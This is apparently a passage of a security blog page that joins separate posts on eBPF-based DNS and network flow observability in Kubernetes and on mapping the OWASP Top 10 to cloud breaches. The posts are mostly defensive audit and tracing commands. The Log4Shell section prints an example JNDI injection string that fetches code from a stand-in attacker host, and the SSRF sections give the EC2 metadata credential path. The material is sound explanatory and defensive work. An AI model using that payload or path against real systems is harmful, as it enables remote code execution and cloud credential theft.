DNS tunneling exfiltrates data by encoding it in subdomains of queries. A process making 50+ DNS queries per second to varied subdomains of the same parent domain is a strong signal. CoreDNS aggregate metrics will show elevated query volume; the kernel tracepoint tells you which PID is responsible.

Queries immediately followed by a connection (normal vs anomalous pattern)

Legitimate services resolve a known set of domains. A process that resolves a new, never-before-seen domain and immediately opens a TCP connection to the returned IP is structurally different from normal service behavior. The combination of DNS tracepoint + TCP connect kprobe lets you correlate these events by PID and timestamp — without any application instrumentation.

⚠ Production Gotchas

DNS payload parsing is not trivial in bpftrace. Reading the domain name from the UDP payload requires byte-level parsing of the DNS wire format inside an eBPF program. bpftrace can read raw bytes with buf(), but the label-encoded domain name format requires a loop that the verifier may reject for complexity reasons. Tools like Tetragon and Pixie implement this parsing in C within their eBPF programs where they have more control over verifier limits. For raw detection (flag DNS queries from unexpected processes), the sendto tracepoint without payload parsing is enough.

sendto fires for all UDP, not just DNS. Filter on the destination port. The destination address structure is at args->addr — port is in network byte order at bytes 2–3 of the sockaddr_in structure. The filtering in the examples above is correct for port 53; double-check if you’re on a cluster that uses a non-standard DNS port.

CoreDNS pods will appear in your DNS query trace — that’s expected. CoreDNS makes upstream DNS queries to resolve non-cluster domains. Filter on namespace/cgroup if you want to exclude CoreDNS from your trace.

DNS over TCP is a separate code path. Most DNS queries are UDP. Large responses (>512 bytes) or DNSSEC responses may trigger TCP fallback. The sendto tracepoint catches UDP; for TCP DNS, you’d need tcp_sendmsg with port 53 filtering. In practice, within-cluster DNS resolution is almost entirely UDP.

glibc caching means not every getaddrinfo() generates a DNS query. glibc caches resolved hostnames in the process’s memory. A service that calls getaddrinfo("api.example.com") every 100ms may only generate a DNS query every 30 seconds (the TTL). If you’re looking for which pods are resolving a domain and see only occasional tracepoint hits, that’s expected — it’s the cache miss rate, not the access rate.

Quick Reference

What you want Command
All DNS queries on a node bpftrace -e 'tracepoint:syscalls:sys_enter_sendto { if (port == 53) ... }'
DNS query count per process bpftrace -e '... { @[comm] = count(); }'
DNS queries from a specific process bpftrace -e '... /comm == "my-svc"/ { ... }'
Map PID to pod cat /proc/<pid>/cgroup → extract pod UID → kubectl get pods
DNS events with domain names (Tetragon) tetra getevents --event-types PROCESS_KPROBE
DNS policy violations (Cilium) hubble observe --verdict DROPPED --protocol DNS
CoreDNS query logs kubectl logs -n kube-system -l k8s-app=kube-dns
DNS signal What it indicates
New domain, immediate TCP connect Possible C2 resolution
50+ queries/second from one PID DNS tunneling candidate
Query to non-cluster domain from batch job Unusual — investigate
NXDOMAIN responses at high rate Misconfiguration or DGA
Queries from PID not matching any known binary Injected process

Key Takeaways

  • DNS observability in Kubernetes with eBPF uses the sendto tracepoint — the hook fires when the process issues the syscall, before the packet leaves the node, giving you PID-level attribution with no sidecar
  • CoreDNS metrics show aggregate DNS health; kernel tracepoints show which pod and which process made each query — the attribution gap between the two is where anomaly detection lives
  • The DNS syscall path goes: getaddrinfo() → glibc → sendto() syscall → kernel UDP stack → CoreDNS. eBPF hooks fire at the sendto() boundary
  • A compromised workload’s first observable action is almost always a DNS query; tracepoint-based DNS observability catches it at the kernel level, ahead of any application log
  • glibc caches resolved names, so tracepoint hit rate reflects cache misses, not getaddrinfo() call rate — account for this when baselining
  • Full domain name extraction requires DNS wire-format parsing; Tetragon and Pixie do this in their eBPF programs; bpftrace one-liners detect the query event without the domain string

What’s Next

DNS observability tells you what a workload is resolving. EP12 answers what happens when you want to stop a workload from doing something — not detect it after the fact, but prevent it at the syscall boundary before it completes.

LSM hooks and Tetragon’s kill path enforce at the kernel level. When the kernel enforces, the process never gets the return value from the syscall. There is no “detect and respond” window — the action simply does not complete. That is a structurally different security posture from anything a sidecar or userspace agent can provide.

Next: LSM and Tetragon — when the kernel says no

Get EP12 in your inbox when it publishes → linuxcent.com/subscribe

Network Flow Observability — What Every Connection Reveals

by
Reading Time: 9 minutes

eBPF: From Kernel to Cloud, Episode 10
What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability

TL;DR

  • Network flow observability with eBPF attaches persistent programs to TC hooks and records every connection attempt, retransmit, reset, and drop — continuously, with no sampling
    (TC hook = Traffic Control hook: the point in the Linux network stack where eBPF programs intercept packets after ingress or before egress, tied to a specific network interface)
  • APM tools and service mesh telemetry are interpretations of what happened; kernel-level flow data from TC hooks is the raw event stream they all derive from
  • Retransmit counters at the kernel level reveal congestion, half-open connections, and remote endpoint failures that application logs never surface
  • Cilium’s Hubble and similar tools (Pixie, Retina) are eBPF flow exporters — they run TC programs, collect perf_event or ringbuf events, and expose them over an API
  • You can verify what flow data a tool is actually collecting with four bpftool commands — without reading documentation
  • Production caution: flow maps grow with the number of active connections; pin and bound your maps, and account for the per-packet overhead on high-throughput interfaces

EP09 showed bpftrace as an on-demand kernel query tool — compile a question, get an answer, clean up. Network flow observability with eBPF is the persistent version: programs that stay attached to TC hooks across your entire fleet, recording every connection without waiting for you to ask. When a client reports intermittent failures that appear nowhere in application logs, that persistent record is what you query. This episode covers how that layer works and how to read it.

Quick Check: What Flow Data Is Your Cluster Already Collecting?

Before building anything new, check what’s already running. If you have Cilium, Pixie, or Retina on your cluster, eBPF flow programs are already attached:

# SSH into a worker node, then:

# What TC programs are attached to cluster interfaces?
bpftool net list

# Expected output on a Cilium node:
# xdp:
#
# tc:
# eth0(2) clsact/ingress prog_id 38 prio 1 handle 0x1 direct-action
# eth0(2) clsact/egress  prog_id 39 prio 1 handle 0x1 direct-action
# lxc12a3(15) clsact/ingress prog_id 41 prio 1 handle 0x1 direct-action
# lxc12a3(15) clsact/egress  prog_id 42 prio 1 handle 0x1 direct-action

# What maps are those programs holding state in?
bpftool map list | grep -E "flow|conn|sock|nat"

# Sample output:
# 24: hash  name cilium_ct4_global  flags 0x0
#     key 24B  value 56B  max_entries 65536  memlock 4718592B
# 25: hash  name cilium_ct4_local   flags 0x0
#     key 24B  value 56B  max_entries 8192   memlock 589824B

Each lxcXXXX interface is a pod’s veth pair. The TC programs on those interfaces are what Cilium uses to enforce NetworkPolicy and collect flow telemetry. If you see prog_id values on pod interfaces, your cluster is already doing kernel-level flow collection.

Not running Cilium? On a plain kubeadm or EKS node without a CNI that uses eBPF, bpftool net list will show no TC programs on pod interfaces — just whatever kube-proxy or the CNI plugin installed. You can still attach your own flow programs with tc qdisc add dev eth0 clsact — that’s the starting point this episode covers.

The client opened a ticket on a Tuesday afternoon. “Intermittent connection failures to the payment gateway. Started around 11 AM. Application logs say timeout. Retry logic is masking it for most users but the error rate is up 0.3%.”

I looked at the APM dashboard. The service showed elevated latency — p99 at 850ms versus a normal 120ms — but no hard errors at the application layer. The service mesh metrics showed the downstream call succeeding from the mesh’s perspective. The payment gateway team said their side looked clean.

Three tools. Three different answers. All of them interpreting the network. None of them were the network.

I ran:

bpftool map dump id 24 | grep -A5 "payment-gateway-ip"

The connection tracking map showed retransmit count 14 for a specific (src_ip, dst_ip, src_port, dst_port) tuple — the same 5-tuple, every 30 seconds, for 2 hours. The kernel was retransmitting. The TCP stack was compensating. The application was seeing sporadic success because retransmits eventually got through. The APM dashboard averaged that latency into a p99 and called it “elevated.”

The kernel had the truth. Everything above it was rounding.

Why Application-Level Metrics Miss What the Kernel Sees

Application metrics — APM spans, service mesh telemetry, load balancer health checks — operate at Layer 7. They measure round-trip time for complete requests, error codes returned, bytes transferred. They answer “did this request succeed?” not “what did the network do to make it succeed?”

The TCP stack underneath those requests handles retransmits, congestion window adjustments, RST packets, and half-open connections silently. From an application’s perspective, a request that required 3 retransmits before the ACK arrived looks identical to one that succeeded on the first attempt — slightly slower, but successful.

This is structural, not a tooling gap. Application-layer observability tools cannot see below their own protocol boundary. The kernel’s TCP implementation does not report upward when it retransmits. It just retransmits.

eBPF flow observability closes this gap by attaching programs directly to the network path — at the TC hook, which fires on every packet crossing a network interface — and recording what the kernel actually does.

How TC Hook Flow Programs Work

EP08 covered TC eBPF programs for pod network policy. Flow observability uses the same attachment point with a different purpose: instead of allowing or dropping packets, the program reads packet metadata and writes it to a map or ring buffer.

Pod sends packet
      ↓
veth interface (lxcXXXX)
      ↓
TC clsact/egress hook fires
      ↓
eBPF program reads:
  - src IP, dst IP
  - src port, dst port
  - protocol
  - packet size
  - TCP flags (SYN, ACK, FIN, RST, retransmit bit)
      ↓
Writes event to ringbuf (or perf_event_array)
      ↓
Userspace consumer reads ringbuf
      ↓
Aggregates to flow record
      ↓
Exports to Hubble/Prometheus/flow store

ringbuf — a BPF ring buffer: a lock-free, memory-efficient queue shared between a kernel eBPF program and a userspace consumer. The kernel program writes events; the userspace reader drains them. Used instead of perf_event_array in kernel 5.8+ because it avoids per-CPU memory waste and supports variable-length records. When you see Hubble exporting flows, it’s reading from a ringbuf that the TC program writes to.

The key structural property: the TC hook fires on every packet. Not sampled. Not throttled by default. Every SYN, every ACK, every RST, every retransmit. For flow observability, you typically aggregate at the program level — count packets and bytes per 5-tuple per second, rather than emitting an event per packet — but the raw visibility is there if you need it.

What Retransmit Telemetry Actually Reveals

Most flow observability implementations track TCP retransmits specifically because they are the clearest signal of network-layer trouble invisible to applications.

A TCP retransmit happens when a sender doesn’t receive an ACK within the retransmission timeout (RTO). The kernel resends the segment and doubles the timeout (exponential backoff). From the application’s perspective, the call takes longer. If retransmits keep clearing, the application sees success — just slow success.

perf_event — a kernel mechanism for collecting performance data. In eBPF, BPF_MAP_TYPE_PERF_EVENT_ARRAY lets kernel programs push variable-length records to userspace readers via a ring buffer per CPU. Older tools use perf_event_array; newer ones use BPF_MAP_TYPE_RINGBUF (single shared ring, more efficient). If you inspect an older version of Cilium’s flow exporter, you’ll see perf_event writes; newer versions use ringbuf.

To observe retransmits directly with bpftrace:

# Count retransmit events per destination IP — run for 60 seconds
bpftrace -e '
kprobe:tcp_retransmit_skb {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk->__sk_common.skc_daddr);
    @retransmits[$daddr] = count();
}
interval:s:60 { print(@retransmits); clear(@retransmits); exit(); }
'

Sample output:

Attaching 2 probes...
@retransmits[10.96.0.10]:   2       # DNS service — normal
@retransmits[172.16.4.23]:  847     # payment gateway endpoint ← problem here
@retransmits[10.244.1.5]:   1       # normal pod-to-pod traffic

847 retransmits to a single endpoint in 60 seconds. That’s not noise. That’s a congested or half-open connection being retried 14 times per second by the TCP stack while the application layer averages it into “elevated latency.”

How Cilium Hubble Collects Flow Data

Hubble is the flow observability layer built into Cilium. Understanding how it works makes you able to reason about what it can and cannot see — and how to verify what it’s actually collecting.

Hubble’s architecture:

Kernel (per node)
├── TC eBPF programs on all pod veth interfaces
│     write flow events → BPF ringbuf
│
└── Hubble node agent (userspace)
      reads ringbuf
      enriches with pod metadata (Kubernetes API)
      exposes gRPC API

Cluster level
└── Hubble Relay
      aggregates per-node gRPC streams
      exposes single cluster-wide API

User tooling
└── hubble observe  /  Hubble UI  /  Prometheus exporter

The TC programs are writing raw packet events. The Hubble agent is the consumer that translates those events into Kubernetes-aware flow records — adding pod name, namespace, label, and policy verdict on top of the 5-tuple and TCP metadata the kernel provides.

To see what Hubble’s TC programs have attached:

# On any Cilium node
bpftool net list | grep lxc

# lxce4a1(23) clsact/ingress prog_id 61  ← Hubble flow program on pod interface ingress
# lxce4a1(23) clsact/egress  prog_id 62  ← Hubble flow program on pod interface egress
# lxcf7b2(31) clsact/ingress prog_id 63
# lxcf7b2(31) clsact/egress  prog_id 64

# Inspect one of those programs to confirm it's reading flow metadata
bpftool prog show id 61

# Output:
# 61: sched_cls  name tail_handle_nat  tag 3a8e2f1b4c7d9e0a  gpl
#     loaded_at 2026-04-22T09:13:45+0530  uid 0
#     xlated 2144B  jited 1382B  memlock 4096B  map_ids 24,31,38
#     btf_id 142

sched_cls is the BPF program type for TC — confirming these are TC-attached flow programs. map_ids 24,31,38 — those are the maps this program reads from and writes to. You can dump any of them:

bpftool map dump id 24 | head -40

# Output (connection tracking entry):
# [{
#     "key": {
#         "saddr": "10.244.1.5",        # ← source pod IP
#         "daddr": "172.16.4.23",        # ← destination IP
#         "sport": 48291,                # ← source port
#         "dport": 443,                  # ← destination port
#         "nexthdr": 6,                  # ← protocol: TCP
#         "flags": 3                     # ← CT_EGRESS | CT_ESTABLISHED
#     },
#     "value": {
#         "rx_packets": 14832,           # ← packets received
#         "tx_packets": 14831,           # ← packets sent
#         "rx_bytes": 3841024,           # ← bytes received
#         "tx_bytes": 3756288,           # ← bytes sent
#         "lifetime": 21600,             # ← seconds until entry expires
#         "rx_closing": 0,
#         "tx_closing": 0
#     }
# }]

That’s the ground truth. Not an APM span. Not a service mesh metric. The actual per-connection counters the kernel is maintaining for that 5-tuple.

Writing a Minimal Flow Observer with bpftrace

You don’t need Cilium or Hubble to get flow telemetry. bpftrace can produce it directly on any node with BTF:

# Persistent flow table: connections + packet counts for 2 minutes
bpftrace -e '
kprobe:tcp_sendmsg {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk->__sk_common.skc_daddr);
    $dport = $sk->__sk_common.skc_dport >> 8;
    @flows[comm, $daddr, $dport] = count();
}
interval:s:30 { print(@flows); clear(@flows); }
' --timeout 120

Sample output (every 30 seconds):

@flows[curl, 93.184.216.34, 443]:         12    # curl → example.com:443
@flows[coredns, 10.96.0.10, 53]:          341   # CoreDNS upstream queries
@flows[payment-svc, 172.16.4.23, 443]:   1204   # payment service → gateway
@flows[nginx, 10.244.2.3, 8080]:          89    # nginx → upstream pod

For retransmit tracking specifically:

# Combined flow + retransmit watcher — runs until Ctrl-C
bpftrace -e '
kprobe:tcp_retransmit_skb {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk->__sk_common.skc_daddr);
    @retx[comm, $daddr] = count();
}
kprobe:tcp_sendmsg {
    $sk = (struct sock *)arg0;
    $daddr = ntop(AF_INET, $sk->__sk_common.skc_daddr);
    @sends[comm, $daddr] = count();
}
interval:s:10 {
    printf("=== Retransmit ratio (last 10s) ===\n");
    print(@retx);
    print(@sends);
    clear(@retx);
    clear(@sends);
}
'

This gives you both the volume of sends and the retransmit count side by side — the ratio tells you whether retransmits are a rounding error (0.01%) or a signal (5%+).

⚠ Production Gotchas

Map size bounds matter. Connection tracking maps default to tens of thousands of entries. On nodes with high connection churn (serverless, short-lived batch jobs), maps can fill and start dropping new entries silently. Check bpftool map show id N for max_entries and monitor map utilization. Cilium exposes this as cilium_bpf_map_pressure in Prometheus.

Per-packet overhead on high-throughput interfaces. A TC program that fires on every packet on a 10Gbps interface processes millions of packets per second. Aggregating at the program level (count per 5-tuple rather than emit per packet) keeps overhead manageable — Cilium does this. A naive bpftrace one-liner that emits a perf event per packet will saturate the perf ring buffer under real load. Use ringbuf write paths or aggregate before emitting.

TC hook placement and direction confusion. Ingress TC on a pod’s veth (lxcXXXX) sees egress traffic from the pod’s perspective — because the host sees the packet arriving on the veth after the pod sent it. This reversal is consistent but confusing when you’re reading direction labels in flow records. EP08 covered this in detail for policy enforcement; the same asymmetry applies to flow data.

Retransmit counters reset on connection close. If you’re tracking retransmit totals for a long-lived connection, the count is stored in the kernel’s socket state and is cleared when the socket closes. For persistent tracking across reconnects, aggregate at the flow level in userspace before the connection closes.

Hubble flow visibility requires pod interfaces. Hubble only sees traffic that crosses a pod’s veth interface. Node-to-node traffic that doesn’t involve a pod (e.g., node SSH, kubelet-to-API-server on the node IP) is not captured by default. For host-level network observability, you need a TC program on the physical interface (eth0, ens3), not just on pod veth pairs.

Quick Reference

What you want to see Command
What TC programs are attached bpftool net list
Which maps a program uses bpftool prog show id N (check map_ids)
Connection tracking entries bpftool map dump id N
Retransmits per destination bpftrace -e 'kprobe:tcp_retransmit_skb { ... }'
Flow counts per process bpftrace -e 'kprobe:tcp_sendmsg { @[comm, daddr] = count(); }'
Hubble flow stream (Cilium) hubble observe --follow
Hubble flows for one pod hubble observe --pod mynamespace/mypod --follow
Verify map pressure bpftool map show id N (check max_entries vs entries)
Kernel function What it marks
tcp_sendmsg Data being sent on a TCP socket
tcp_recvmsg Data being received on a TCP socket
tcp_retransmit_skb A segment being retransmitted
tcp_send_reset RST being sent
tcp_fin Connection teardown initiated
tcp_connect New outbound TCP connection attempt

Key Takeaways

  • Network flow observability with eBPF attaches TC programs that record every connection event continuously — not sampled, not throttled, not filtered by what the application reports
  • Retransmit telemetry from tcp_retransmit_skb reveals congestion and endpoint failures that are structurally invisible to application-layer monitoring tools
  • Cilium Hubble, Pixie, and Retina are all eBPF flow exporters — they run TC programs, drain a ringbuf, enrich with Kubernetes metadata, and expose the result over an API
  • You can verify what any flow tool is actually collecting with bpftool net list, bpftool prog show, and bpftool map dump — four commands, no documentation needed
  • Map sizing and per-packet overhead are the two production concerns; aggregate at the kernel level, bound your maps, and monitor map pressure
  • The kernel’s connection tracking map is the ground truth. APM dashboards, service mesh metrics, and load balancer health checks are all interpretations of what that map contains

What’s Next

Flow observability tells you what connections exist. EP11 goes one level deeper: what names your pods are resolving those connections to. DNS is where a compromised workload first reveals itself — it queries a domain that has no business being queried from a production pod, and if you’re not watching the kernel-level DNS path, you won’t see it until after the damage.

DNS observability at the kernel level uses tracepoint hooks on the DNS syscall path — the same ground-truth approach as flow telemetry, but for name resolution: every query, every response, tied to the pod that made it, without deploying a sidecar.

Next: DNS observability at the kernel level — what your pods are actually resolving

Get EP11 in your inbox when it publishes → linuxcent.com/subscribe

OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps

by
Reading Time: 11 minutes

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → EP03: Cloud security breaches 2020–2025

TL;DR

  • OWASP Top 10 cloud infrastructure mapping shows that every category has a direct cloud-native equivalent — this is not a web-app-only taxonomy
  • A01 Broken Access Control = IAM wildcards, public S3, overly permissive trust policies
  • A07 Authentication Failures = MFA fatigue, session token theft, push-notification abuse
  • A08 Software/Data Integrity = compromised build pipelines, unsigned container images, secrets in CI/CD
  • A10 SSRF = EC2 metadata endpoint abuse, IMDSv1 credential theft (the Capital One attack vector)
  • Every major cloud breach 2020–2025 lands in one of these ten categories — the taxonomy was always infrastructure-applicable

OWASP Mapping: All categories — A01 through A10. This episode is the reference map for the entire series.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│           OWASP TOP 10 → CLOUD INFRASTRUCTURE MAPPING              │
│                                                                     │
│  OWASP (2021)              CLOUD EQUIVALENT          REAL BREACH    │
│  ─────────────────────────────────────────────────────────────────  │
│  A01 Broken Access Ctrl  → IAM wildcards, public S3  Capital One    │
│  A02 Cryptographic Fail  → Plaintext secrets, weak   CircleCI       │
│                            KMS config                               │
│  A03 Injection           → Log4j JNDI, SSRF as       Log4Shell      │
│                            injection variant                        │
│  A04 Insecure Design     → --privileged containers   runc CVEs      │
│                            no seccomp/AppArmor                      │
│  A05 Security Misconfig  → K8s RBAC defaults, open   Multiple       │
│                            etcd ports                               │
│  A06 Vulnerable Comps    → Transitive deps, outdated  XZ Utils      │
│                            base images                              │
│  A07 Auth Failures       → MFA fatigue, stolen        Uber, Okta    │
│                            session tokens                           │
│  A08 SW/Data Integrity   → Unsigned artifacts,        SolarWinds    │
│                            compromised pipelines                    │
│  A09 Logging/Monitoring  → Missing CloudTrail,        Most          │
│                            no workload telemetry                    │
│  A10 SSRF                → EC2 IMDS abuse, metadata  Capital One    │
│                            credential theft                         │
└─────────────────────────────────────────────────────────────────────┘

OWASP Top 10 cloud infrastructure mapping is not a translation exercise — it is a recognition that the same classes of failure that compromise web applications also compromise cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The language shifts; the attack classes don’t.

Why Engineers Treat OWASP as a Web-App-Only Concern

I kept hearing OWASP Top 10 in web application security reviews. The AppSec team ran it through their checklist. The infrastructure team shrugged — “that’s for the developers.” Then I looked at the actual cloud breaches: Capital One, Uber, CircleCI, SolarWinds. Every one of them mapped to an OWASP category.

The confusion comes from OWASP’s origins. The project started in 2001 focused on web application vulnerabilities. SQL injection, XSS, broken authentication against HTTP endpoints. The cloud and container ecosystem didn’t exist. So the examples stayed web-application-centric even as the underlying failure classes proved universal.

The 2021 OWASP Top 10 update is more abstracted than its predecessors — intentionally. “Broken Access Control” doesn’t say “SQL injection.” It says access control. That applies to every IAM policy that has "Action": "*" where it shouldn’t.

This episode makes the mapping explicit. One OWASP category at a time.

A01: Broken Access Control — IAM Wildcards and Public S3

Web equivalent: A user can access other users’ records by modifying the URL parameter.

Cloud equivalent: An IAM role with "Action": "*" on "Resource": "*". An S3 bucket with public read. A cross-account trust policy that allows any principal in the account, not just a specific role.

Broken access control in cloud infrastructure means the principal can reach a resource it should not be able to reach, because the access control decision was not made or was made incorrectly.

The Capital One breach (2019, disclosed publicly) is the canonical example. A WAF running on EC2 had an IAM role attached. That role had permissions to list and retrieve objects from S3 buckets. SSRF against the WAF reached the EC2 metadata endpoint and retrieved the IAM role credentials. Those credentials then accessed 100 million customer records. The SSRF was A10. The fact that the WAF had access to customer data S3 buckets was A01.

aws s3control get-public-access-block --account-id $(aws sts get-caller-identity --query Account --output text)

# Find buckets that override the account-level block
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read bucket; do
    result=$(aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null)
    if echo "$result" | grep -q '"BlockPublicAcls": false'; then
      echo "PUBLIC ACCESS NOT BLOCKED: $bucket"
    fi
  done

A02: Cryptographic Failures — Plaintext Secrets and Weak KMS Config

Web equivalent: Passwords stored as MD5 hashes. Credit card numbers in plaintext in the database.

Cloud equivalent: DATABASE_URL=postgres://user:password@host/db in a .env file committed to a public repository. An S3 bucket with sensitive data where server-side encryption is not enforced. KMS key policies that allow kms:Decrypt to any principal in the account.

Cryptographic failures in the cloud are less about broken algorithms and more about secrets that aren’t secret. The CircleCI breach (January 2023) exposed customer secrets — API tokens, AWS credentials, private keys — that customers had stored in CircleCI’s environment variables. The attacker compromised CircleCI’s infrastructure and exfiltrated those secrets. The cryptographic failure was that secrets were stored in a way that could be exfiltrated when the platform was compromised, rather than being bound to hardware or using short-lived credentials that couldn’t be replayed.

# Check if default EBS encryption is enabled (prevents data at rest failures)
aws ec2 get-ebs-encryption-by-default --region us-east-1

# Check for S3 buckets without default encryption
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read bucket; do
    enc=$(aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null)
    if [ -z "$enc" ]; then
      echo "NO DEFAULT ENCRYPTION: $bucket"
    fi
  done

A03: Injection — Log4Shell and SSRF as Injection Variants

Web equivalent: SQL injection via unsanitized query parameters.

Cloud equivalent: Log4Shell (CVE-2021-44228) used JNDI lookup injection via HTTP headers to execute arbitrary code in Java applications. SSRF (Server-Side Request Forgery) is an injection variant where attacker-controlled input causes the server to make requests to internal endpoints — including http://169.254.169.254/latest/meta-data/.

Log4Shell (December 2021) demonstrated injection against infrastructure directly. The User-Agent or X-Forwarded-For header contained ${jndi:ldap://attacker.com/exploit}. The logging framework evaluated it. The outcome was remote code execution on any Java application using Log4j 2.x.

The fix was not “validate user input better.” The fix was patching Log4j and — for SSRF — enforcing IMDSv2 (which requires a PUT request with a session token that a naive SSRF cannot produce).

# Check if all EC2 instances require IMDSv2 (prevents SSRF-to-metadata attacks)
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].{ID:InstanceId,IMDSv2:MetadataOptions.HttpTokens}' \
  --output table
# Desired: HttpTokens = "required" for all instances

A04: Insecure Design — Privileged Containers and Missing Runtime Controls

Web equivalent: Application architecture where any authenticated user can reach administrative functions without additional authorization checks.

Cloud equivalent: A container deployed with --privileged: true or allowPrivilegeEscalation: true. A Kubernetes pod without securityContext restricting capabilities. A cluster with no admission controller enforcing pod security standards.

Insecure design in the container context means the security controls that should prevent container breakout were never there. They weren’t removed — they were never designed in. The kernel doesn’t enforce namespace isolation when a container has CAP_SYS_ADMIN. The attacker doesn’t exploit a vulnerability — they use capabilities the design granted.

# Find pods running as root or with privileged flag
kubectl get pods -A -o json | \
  jq -r '.items[] | 
    select(
      (.spec.containers[].securityContext.privileged == true) or
      (.spec.securityContext.runAsNonRoot != true)
    ) | 
    "\(.metadata.namespace)/\(.metadata.name)"'

A05: Security Misconfiguration — Default Kubernetes RBAC and Open Ports

Web equivalent: Default admin credentials not changed. Directory listing enabled on the web server.

Cloud equivalent: kubectl access with cluster-admin ClusterRoleBinding for the default service account. etcd port 2379 accessible from the pod network. AWS security groups with 0.0.0.0/0 on port 22.

Security misconfiguration in Kubernetes is particularly common because the defaults in older Kubernetes versions were not secure-by-default. The default service account in each namespace mounts a service account token that can authenticate to the API server. In clusters without RBAC properly configured, that token can enumerate and modify resources.

# Check what the default service account can do in a namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# Find ClusterRoleBindings that bind cluster-admin to non-system subjects
kubectl get clusterrolebindings -o json | \
  jq '.items[] | 
    select(.roleRef.name == "cluster-admin") | 
    {name: .metadata.name, subjects: .subjects}'

A06: Vulnerable and Outdated Components — Transitive Dependencies and Base Images

Web equivalent: An npm package in the dependency tree has a known CVE. The application ships with an outdated version of OpenSSL.

Cloud equivalent: A container base image built from ubuntu:20.04 six months ago, now carrying 47 critical CVEs in installed packages. A Lambda function with a vendored boto3 version that has a known vulnerability. XZ Utils (CVE-2024-3094) — a backdoor inserted into the release tarball of a compression library present in almost every major Linux distribution.

XZ Utils is the defining example of this category in the infrastructure context. The attack was supply chain: two years of social engineering against a maintainer, gaining commit access, inserting a backdoor in the release tarball rather than the source repository (so source audits wouldn’t catch it). The XZ backdoor targeted SSH servers on systems using systemd — it would have given the attacker remote code execution on SSH servers across Fedora, Debian, and Ubuntu before it was caught five weeks before broad distribution release.

# Scan a container image for known CVEs (requires trivy)
trivy image --severity HIGH,CRITICAL your-registry/your-image:tag

# Check Lambda function runtime versions against AWS's deprecation schedule
aws lambda list-functions \
  --query 'Functions[].{Name:FunctionName,Runtime:Runtime,LastModified:LastModified}' \
  --output table

A07: Identification and Authentication Failures — MFA Fatigue and Stolen Tokens

Web equivalent: Session tokens that don’t expire. Password reset links that work indefinitely.

Cloud equivalent: Push-notification MFA that can be exhausted by fatigue attacks. AWS console sessions with 12-hour validity. OAuth tokens stored in browser local storage. SAML assertions that can be replayed.

The Uber breach (September 2022) is the canonical cloud/SaaS example. A contractor’s credentials were obtained via social engineering. The attacker sent repeated Duo push notifications — the contractor rejected them. The attacker then sent a WhatsApp message claiming to be IT support and asking the contractor to accept the next notification. They did. From there, the attacker found a network share containing a PowerShell script with hardcoded admin credentials for Uber’s Thycotic PAM system — full access to the Uber internal network.

The authentication failure was two-layered: push MFA that could be fatigue-attacked, and credentials stored in plaintext in an accessible location.

# List IAM users with console access but no MFA enrolled
aws iam get-account-summary | jq '{AccountMFAEnabled: .SummaryMap.AccountMFAEnabled}'

# Find specific users without MFA
aws iam list-users --query 'Users[].UserName' --output text | \
  tr '\t' '\n' | \
  while read user; do
    mfa=$(aws iam list-mfa-devices --user-name "$user" --query 'MFADevices' --output text)
    if [ -z "$mfa" ]; then
      echo "NO MFA: $user"
    fi
  done

A08: Software and Data Integrity Failures — Compromised Build Pipelines

Web equivalent: Pulling npm packages without verifying checksums. Deploying a build without artifact signing.

Cloud equivalent: A CI/CD pipeline that pulls dependencies from an unauthenticated source. A container image built from a Dockerfile that pulls the latest version of a base image without pinning the digest. A GitHub Actions workflow that references a third-party action at a mutable tag rather than a commit SHA.

SolarWinds (December 2020) is the infrastructure-scale example. The attacker compromised SolarWinds’ build system. The malicious code (SUNBURST) was inserted into the Orion software build process, signed with SolarWinds’ legitimate code signing certificate, and distributed to approximately 18,000 customers via the normal software update mechanism. The artifact was signed. The signature verified. The code was malicious.

The software integrity failure was that the build pipeline itself was not monitored or hardened — an attacker who controlled the build environment could produce signed, trusted artifacts.

# Check GitHub Actions workflows for mutable action references (uses @main or @v1 instead of SHA)
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"

# Verify a container image digest before deployment
docker pull your-registry/your-image:tag
docker inspect your-registry/your-image:tag --format='{{.Id}}'
# Compare this digest to the pinned value in your deployment manifest

A09: Security Logging and Monitoring Failures — What You Can’t See, You Can’t Stop

Web equivalent: No access logs on the web server. No alerting on repeated failed login attempts.

Cloud equivalent: CloudTrail not enabled in all regions. VPC Flow Logs disabled. No GuardDuty. Container workloads with no runtime security monitoring. Lambda functions that log errors to /dev/null.

This is the category that causes the 11-day detection time from EP01. The attacker’s techniques generated events. The events were not collected, or collected but not alerting, or alerting but not investigated.

# Verify CloudTrail is logging in all regions
aws cloudtrail describe-trails --include-shadow-trails true \
  --query 'trailList[?IsMultiRegionTrail==`true`].{Name:Name,Bucket:S3BucketName,Logging:HasCustomEventSelectors}'

# Check which regions have GuardDuty disabled
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
  status=$(aws guardduty list-detectors --region "$region" --query 'DetectorIds' --output text 2>/dev/null)
  if [ -z "$status" ]; then
    echo "GUARDDUTY DISABLED: $region"
  fi
done

A10: Server-Side Request Forgery (SSRF) — EC2 Metadata and IMDSv1

Web equivalent: An application fetches a URL provided by the user. The user provides http://internal-service/admin.

Cloud equivalent: An application fetches a URL provided by the user (or constructed from user input). The user provides http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response contains temporary IAM credentials valid for the attached instance role.

This is how the Capital One breach worked. A WAF instance had a SSRF vulnerability. The attacker exploited it to reach the EC2 Instance Metadata Service (IMDS). IMDSv1 has no authentication — any HTTP GET to the metadata endpoint from inside the instance returns credentials. Those credentials had overly permissive S3 access (A01). The result was 100 million records exfiltrated.

